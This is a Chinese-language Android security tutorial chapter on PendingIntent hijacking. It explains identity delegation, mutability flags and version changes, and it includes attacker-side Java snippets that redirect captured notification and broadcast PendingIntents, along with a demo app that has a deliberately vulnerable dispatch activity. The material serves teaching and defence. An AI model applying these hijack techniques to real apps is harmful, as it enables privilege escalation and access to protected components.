18 KiB
Android移动安全第九章_PendingIntent安全
QIANXIN Team 来源:https://forum.butian.net/share/4876
系列目录:
- Android 组件导出安全
- Android Intent 安全
- Android Binder 服务安全
- Android ContentProvider 安全
- Android WebView 安全
- Android UI 欺骗与钓鱼
- Android Deep Link 安全
- Android 广播安全
- Android PendingIntent 安全(本章)
- Android 系统设置安全
- Android SSRF 与网络安全
- Android 加密与数据存储安全
- Android 认证与证书校验
- Android Zip Slip 路径遍历
- Android Fragment Injection
- Android SELinux 与沙箱机制
1. 前言
前面几章讲的 Intent、广播、组件导出,都是"直接调用"——调用方自己发出 Intent,系统根据调用方的身份和权限决定是否放行。PendingIntent 不一样,它是"间接调用"。
PendingIntent 的工作方式是:App A 创建一个 PendingIntent,把它交给 App B(或系统)。当 B 在未来某个时刻触发这个 PendingIntent 时,系统以 A 的身份和权限来执行其中的 Intent,而不是以 B 的身份。
这个机制在 Android 中使用非常广泛:
- 通知(Notification):App 创建通知时,把点击后要执行的操作包装成 PendingIntent 交给系统通知服务。用户点击通知时,系统代替 App 执行这个操作
- 闹钟(AlarmManager):App 设置定时任务时,把到时间后要执行的操作包装成 PendingIntent 交给 AlarmManager
- 桌面小部件(AppWidget):小部件的点击事件通过 PendingIntent 传递给 App 处理
问题在于:如果 App A 创建的 PendingIntent 中的 Intent 是"空的"或"不完整的",拿到这个 PendingIntent 的 App B 可以往里面填充内容,然后触发执行——执行时用的是 A 的身份和权限。这就是 PendingIntent 劫持的基本原理。
2. PendingIntent 基础
2.1 创建方式
PendingIntent 有三种创建方式,分别对应三种组件操作:
PendingIntent pi = PendingIntent.getActivity(context, requestCode, intent, flags);
PendingIntent pi = PendingIntent.getService(context, requestCode, intent, flags);
PendingIntent pi = PendingIntent.getBroadcast(context, requestCode, intent, flags);
参数说明:
- context:创建者的上下文,决定了 PendingIntent 执行时使用谁的身份
- requestCode:请求码,用于区分同一个 App 创建的不同 PendingIntent
- intent:要执行的 Intent
- flags:控制 PendingIntent 行为的标志位
2.2 Flags
flags 参数对安全性影响很大:
| Flag | 含义 |
|---|---|
| FLAG_IMMUTABLE | PendingIntent 创建后不可修改(Android 12+ 默认要求) |
| FLAG_MUTABLE | PendingIntent 创建后可以被修改 |
| FLAG_UPDATE_CURRENT | 如果已存在相同的 PendingIntent,更新其中的 Intent extras |
| FLAG_CANCEL_CURRENT | 如果已存在相同的 PendingIntent,取消旧的,创建新的 |
| FLAG_ONE_SHOT | PendingIntent 只能被使用一次 |
FLAG_MUTABLE 和 FLAG_IMMUTABLE 是安全方面最需要关注的。FLAG_MUTABLE 意味着拿到 PendingIntent 的一方可以修改其中 Intent 的内容(通过 send(Context, int, Intent) 方法传入额外的 Intent 来填充)。
2.3 身份委托机制
PendingIntent 的核心特性是身份委托。用一个例子说明:
Intent intent = new Intent(this, InternalActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_MUTABLE);
当 App B 调用 pi.send() 时,系统以 App A 的身份(UID 1000)执行 Intent。即使 InternalActivity 是 App A 的未导出组件,也能被成功启动——因为执行者的身份是 A 自己。
这就是为什么 PendingIntent 是权限提升的入口:普通 App 拿到系统 App 创建的 PendingIntent 后,可以借用系统 App 的身份执行操作。
3. PendingIntent 劫持
3.1 隐式 Intent 的 PendingIntent
最经典的 PendingIntent 劫持场景是:创建者使用隐式 Intent(不指定目标组件)来构造 PendingIntent。
Intent intent = new Intent("com.example.ACTION_PROCESS");
intent.putExtra("token", "secret_token_123");
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
这个 PendingIntent 被触发时,系统会把广播发给所有注册了 com.example.ACTION_PROCESS 的 Receiver。攻击者注册一个匹配的 Receiver 就能收到广播,获取其中的 token。
更严重的是,如果 PendingIntent 是 FLAG_MUTABLE 的,攻击者拿到它之后可以修改 Intent 的目标:
Intent fillIntent = new Intent();
fillIntent.setClassName("com.victim.app", "com.victim.app.InternalActivity");
pendingIntent.send(context, 0, fillIntent);
3.2 空 Intent 的 PendingIntent
比隐式 Intent 更危险的是空 Intent。有些开发者创建 PendingIntent 时传入一个空的 Intent,打算后续再填充:
PendingIntent pi = PendingIntent.getActivity(context, 0,
new Intent(), PendingIntent.FLAG_MUTABLE);
拿到这个 PendingIntent 的任何一方都可以完全控制 Intent 的内容——action、component、data、extras 全部可以填充。执行时使用的是创建者的身份和权限。
3.3 通知中的 PendingIntent 泄露
通知是 PendingIntent 最常见的使用场景,也是泄露的高发区。App 创建通知时,把 PendingIntent 交给系统的 NotificationManager。如果通知可以被其他 App 读取(通过 NotificationListenerService),其中的 PendingIntent 就可能被提取出来。
NotificationListenerService 是 Android 提供的一个系统服务,允许 App 在用户授权后监听所有通知。用户在"设置 → 通知访问权限"中授权后,App 就能读取所有通知的内容,包括其中的 PendingIntent。
public class NotifListener extends NotificationListenerService {
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
Notification notification = sbn.getNotification();
PendingIntent contentIntent = notification.contentIntent;
if (contentIntent != null) {
try {
Intent fillIntent = new Intent();
fillIntent.setClassName("com.victim.app",
"com.victim.app.InternalSettingsActivity");
contentIntent.send(context, 0, fillIntent);
} catch (PendingIntent.CanceledException e) {
}
}
}
}
3.4 BroadcastReceiver 中的 PendingIntent
有些 App 通过广播传递 PendingIntent,让接收方在处理完某些逻辑后回调。如果广播是隐式的,攻击者可以注册 Receiver 截获广播,拿到其中的 PendingIntent:
Intent callbackIntent = new Intent(this, CallbackReceiver.class);
PendingIntent callback = PendingIntent.getBroadcast(this, 0,
callbackIntent, PendingIntent.FLAG_MUTABLE);
Intent broadcastIntent = new Intent("com.example.ACTION_REQUEST");
broadcastIntent.putExtra("callback", callback);
sendBroadcast(broadcastIntent);
攻击者收到广播后,提取 PendingIntent 并修改后执行:
public class AttackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
PendingIntent callback = intent.getParcelableExtra("callback");
if (callback != null) {
Intent fill = new Intent();
fill.setClassName("com.victim.app",
"com.victim.app.AdminActivity");
try {
callback.send(context, 0, fill);
} catch (PendingIntent.CanceledException e) {}
}
}
}
4. FLAG_MUTABLE 与 FLAG_IMMUTABLE
4.1 可变性的影响
PendingIntent 的可变性(mutability)决定了它被传递给其他方后是否可以被修改。
FLAG_MUTABLE 的 PendingIntent,接收方可以通过 send(Context, int, Intent) 传入一个 fillIntent 来修改原始 Intent 的内容。fillIntent 中设置的字段会覆盖或补充原始 Intent:
Intent intent = new Intent("com.example.ACTION_VIEW");
PendingIntent pi = PendingIntent.getActivity(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
Intent fillIntent = new Intent();
fillIntent.setComponent(new ComponentName("com.victim.app",
"com.victim.app.SecretActivity"));
pi.send(context, 0, fillIntent);
FLAG_IMMUTABLE 的 PendingIntent 则不允许修改。接收方调用 send() 时传入的 fillIntent 会被忽略(extras 除外——如果原始 Intent 中没有设置某个 extra key,fillIntent 中的对应 key 仍然会被合并进去)。
4.2 什么时候需要 FLAG_MUTABLE
有些场景确实需要 FLAG_MUTABLE:
- 内联回复通知(Direct Reply):系统需要把用户输入的文本填充到 PendingIntent 的 extras 中
- 与
AlarmManager.setExact()配合使用时,某些系统版本要求 PendingIntent 可变 - 需要和
PendingIntent.FLAG_UPDATE_CURRENT配合更新 extras
但大多数场景下,FLAG_IMMUTABLE 就够了。如果不确定,优先使用 FLAG_IMMUTABLE。
4.3 Android 12 的强制要求
Android 12(API 31)开始,创建 PendingIntent 时必须显式指定 FLAG_MUTABLE 或 FLAG_IMMUTABLE,否则会抛出异常:
java.lang.IllegalArgumentException: Targeting S+ (version 31 and above)
requires that one of FLAG_IMMUTABLE or FLAG_MUTABLE be specified when
creating a PendingIntent.
这个改动强制开发者思考 PendingIntent 是否需要可变。但它不能阻止开发者为了省事直接加 FLAG_MUTABLE。
5. 实际攻击场景
5.1 LaunchAnywhere
LaunchAnywhere 是 PendingIntent 劫持的一个经典利用模式,最早在 Android 系统的 AccountManagerService 中被发现。
AccountManagerService 在处理添加账户的流程中,会向第三方 Authenticator App 发送一个 PendingIntent(通过 AccountAuthenticatorResponse)。如果 Authenticator 返回的结果中包含一个 KEY_INTENT,AccountManagerService 会用自己的身份(system_server,UID 1000)启动这个 Intent。
攻击流程:
- 恶意 App 注册一个自定义的 AccountAuthenticator
- 调用
AccountManager.addAccount()触发添加账户流程 - 系统调用恶意 App 的 Authenticator
- Authenticator 在返回结果中放入一个指向系统内部组件的 Intent
- AccountManagerService 以 system 身份启动这个 Intent
这个漏洞的本质是:系统服务信任了第三方 App 提供的 Intent,并以自己的高权限身份执行。后续 Android 版本通过检查返回的 Intent 的目标组件是否属于调用者来修复了这个问题。
5.2 通知劫持提权
一个更常见的场景:系统 App 创建通知时使用了 FLAG_MUTABLE 的 PendingIntent,且 Intent 不够具体(没有指定 component)。
Intent intent = new Intent("com.system.ACTION_SETTINGS");
PendingIntent pi = PendingIntent.getActivity(this, 0, intent,
PendingIntent.FLAG_MUTABLE);
Notification notification = new Notification.Builder(this, channelId)
.setContentTitle("系统更新")
.setContentText("点击查看详情")
.setContentIntent(pi)
.build();
notificationManager.notify(1, notification);
拥有 NotificationListenerService 权限的恶意 App 可以:
- 监听到这条通知
- 提取其中的 PendingIntent
- 用 fillIntent 修改目标为系统内部的敏感 Activity
- 以系统 App 的身份启动
5.3 Widget 点击劫持
桌面小部件(AppWidget)的点击事件通过 PendingIntent 实现。AppWidgetProvider 在 onUpdate() 中为小部件的各个 View 设置 PendingIntent:
RemoteViews views = new RemoteViews(context.getPackageName(),
R.layout.widget_layout);
Intent intent = new Intent(context, WidgetClickHandler.class);
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
views.setOnClickPendingIntent(R.id.widget_button, pi);
如果 PendingIntent 是 FLAG_MUTABLE 的,且 Intent 不够具体,Launcher App(桌面启动器)理论上可以修改 PendingIntent 的内容。虽然主流 Launcher 不会这么做,但自定义 Launcher 或恶意 Launcher 可能利用这一点。
6. 版本演进
6.1 Android 6.0(API 23)
引入了 PendingIntent.getCreatorPackage() 和 PendingIntent.getCreatorUid() 方法,允许接收方查询 PendingIntent 的创建者信息。但这些信息仅供参考,不能作为安全校验的依据——恶意 App 可以创建 PendingIntent 后传递给其他 App,接收方看到的创建者是恶意 App,但执行时用的身份也是恶意 App 的,所以这个信息本身不构成安全问题。
6.2 Android 12(API 31)
强制要求指定 FLAG_MUTABLE 或 FLAG_IMMUTABLE。这是 PendingIntent 安全方面最重要的一次改动。
同时,Android 12 还限制了 FLAG_MUTABLE 的 PendingIntent:即使是 mutable 的,fillIntent 也不能覆盖原始 Intent 中已经设置的 component 和 action。只有原始 Intent 中未设置的字段才能被填充。
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example", "com.example.MyActivity"));
PendingIntent pi = PendingIntent.getActivity(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
Intent fill = new Intent();
fill.setComponent(new ComponentName("com.victim", "com.victim.Secret"));
pi.send(context, 0, fill);
这个限制大幅降低了 FLAG_MUTABLE PendingIntent 的攻击面,但没有完全消除——extras 仍然可以被填充。
6.3 Android 14(API 34)
进一步收紧了 PendingIntent 的安全限制:
- 对后台启动 Activity 的限制更严格,通过 PendingIntent 从后台启动 Activity 需要创建者在创建时显式授权(通过
ActivityOptions.setPendingIntentBackgroundActivityStartMode()) - 对 PendingIntent 的 sender 身份校验更严格
7. 演示
下面用配套的演示 App(com.demo.pendingintentsecurity)来展示 PendingIntent 劫持的效果。
Demo App 模拟了一个常见场景:App 发送通知时,PendingIntent 指向一个中转 Activity(DispatchActivity),该 Activity 根据 extras 中的 target_class 决定跳转目标。原始 Intent 没有设置 target_class,正常情况下跳转到默认页面。但因为 PendingIntent 使用了 FLAG_MUTABLE,攻击者可以通过 fillIntent 注入 target_class extra,控制跳转到任意内部组件。
7.1 创建不安全的通知
VulnNotificationActivity 创建通知时使用了 FLAG_MUTABLE 的 PendingIntent:
Intent intent = new Intent(this, DispatchActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, intent,
PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
DispatchActivity 根据 extras 决定跳转:
String targetClass = getIntent().getStringExtra("target_class");
if (targetClass != null) {
Intent intent = new Intent();
intent.setClassName(getPackageName(), targetClass);
startActivity(intent);
} else {
startActivity(new Intent(this, MainActivity.class));
}
通过 ADB 发送通知:
adb shell am start -n com.demo.pendingintentsecurity/.VulnNotificationActivity
logcat 输出:
W VulnNotification: 通知已发送
W VulnNotification: PendingIntent: 显式 Intent → DispatchActivity, FLAG_MUTABLE
W VulnNotification: 原始 Intent 未设置 target_class,正常跳转到默认页面
W VulnNotification: 但 FLAG_MUTABLE 允许 fillIntent 注入 target_class extra
7.2 执行劫持
HijackDemoActivity 模拟攻击者的行为——获取到通知中的 mutable PendingIntent 后,通过 fillIntent 注入 target_class extra:
Intent originalIntent = new Intent(this, DispatchActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, originalIntent,
PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_NO_CREATE);
Intent fillIntent = new Intent();
fillIntent.putExtra("target_class",
"com.demo.pendingintentsecurity.InternalSecretActivity");
pi.send(context, 0, fillIntent);
通过 ADB 触发劫持:
adb shell am start -n com.demo.pendingintentsecurity/.HijackDemoActivity \
--ez auto_start true
logcat 输出:
W HijackDemo: 成功获取到已有的 mutable PendingIntent
W HijackDemo: 劫持成功:注入 target_class=InternalSecretActivity
W HijackDemo: DispatchActivity 将跳转到未导出的内部组件
W DispatchActivity: 收到 target_class: com.demo.pendingintentsecurity.InternalSecretActivity
W DispatchActivity: 已跳转到: com.demo.pendingintentsecurity.InternalSecretActivity
W InternalSecret: InternalSecretActivity 被通过 PendingIntent 劫持启动
W InternalSecret: 内部机密页面已打开,敏感数据已暴露
InternalSecretActivity 是 exported=false 的内部组件,正常情况下外部无法启动。但攻击者通过 fillIntent 向 mutable PendingIntent 注入了 target_class extra,DispatchActivity 读取后跳转到了内部机密页面:
如果这个 PendingIntent 使用 FLAG_IMMUTABLE,fillIntent 中的 extras 不会被合并到原始 Intent 中(原始 Intent 未设置的 key 除外的规则在 Android 12+ 上有变化,但 FLAG_IMMUTABLE 从根本上阻止了修改),攻击就无法成功。
8. 总结
PendingIntent 的安全问题围绕"身份委托"展开。创建者把自己的执行权限包装进 PendingIntent 交给其他方,如果 PendingIntent 是可变的且 Intent 不够具体,接收方就能借用创建者的身份执行任意操作。
回顾一下:
- PendingIntent 以创建者的身份执行,不是触发者的身份
- FLAG_MUTABLE 允许接收方修改 Intent 内容,是劫持的前提
- 隐式 Intent 或空 Intent 的 PendingIntent 攻击面最大
- 通知、广播回调、Widget 是 PendingIntent 泄露的常见渠道
- Android 12 强制要求声明 mutability,并限制了 fillIntent 对已设置字段的覆盖
- Android 14 进一步限制了通过 PendingIntent 从后台启动 Activity
下一章讲 Android 系统设置安全。Settings.System、Settings.Secure、Settings.Global 这三个命名空间存储了设备的各种配置,部分设置项的读写权限控制不够严格,可能被第三方 App 利用来修改设备行为。
